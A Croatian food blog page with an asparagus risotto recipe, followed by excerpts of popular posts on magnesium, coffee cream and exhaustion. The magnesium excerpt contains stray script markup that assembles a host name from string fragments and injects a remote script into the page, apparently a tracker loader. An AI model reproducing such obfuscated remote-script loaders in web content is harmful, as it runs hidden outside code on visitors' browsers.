RIŽOTO SA ŠPAROGAMA - PROLJETNI KLASIK





Rižoto sa šparogama - proljetni klasik



Šparoge su sezonska delicija koja svake godine izaziva pravo uzbuđenje među ljubiteljima dobre hrane, i to s razlogom. Osim što su izuzetno zdrave, šparoge imaju prepoznatljiv, blago gorkast i svjež okus koji savršeno utjelovljuje buđenje prirode.




Rižoto sa šparogama 


Sastojci za 2 - 3 osobe:

  • 200 g riže za rižoto (arborio ili carnaroli)
  • 1 vezica šparoga
  • 1 manji luk
  • 2 češnja češnjaka
  • 700 ml povrtnog temeljca (toplog)
  • 50 ml bijelog vina
  • 40 g maslaca
  • 40 g naribanog parmezana
  • maslinovo ulje
  • sol i papar
  • po želji: malo limunove korice



Priprema:

  • Šparoge operite i otkinite im drvenasti donji dio. Narežite ih na manje komade, a vrhove odvojite sa strane.
  • U većoj tavi ili loncu zagrijte malo maslinovog ulja pa dodajte sitno nasjeckani luk. Pirjajte dok ne postane staklast.
  • Dodajte nasjeckani češnjak i kratko ga popržite.
  • Ubacite rižu i miješajte minutu-dvije dok ne postane lagano staklasta.
  • Podlijte bijelim vinom i pustite da alkohol ispari.
  • Postupno dodajte topli temeljac, malo po malo, uz stalno miješanje. Svaki put pričekajte da riža upije tekućinu prije nego dodate još.
  • Nakon otprilike 10 minuta dodajte narezane šparoge (osim vrhova).
  • Pred kraj kuhanja (zadnjih par minuta) dodajte i vrhove šparoga.
  • Kada je riža al dente i rižoto kremast, maknite s vatre pa umiješajte maslac i parmezan.
  • Začinite solju i paprom, a po želji dodajte malo limunove korice za svježinu. Poslužite odmah, dok je rižoto topao i kremast.



Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više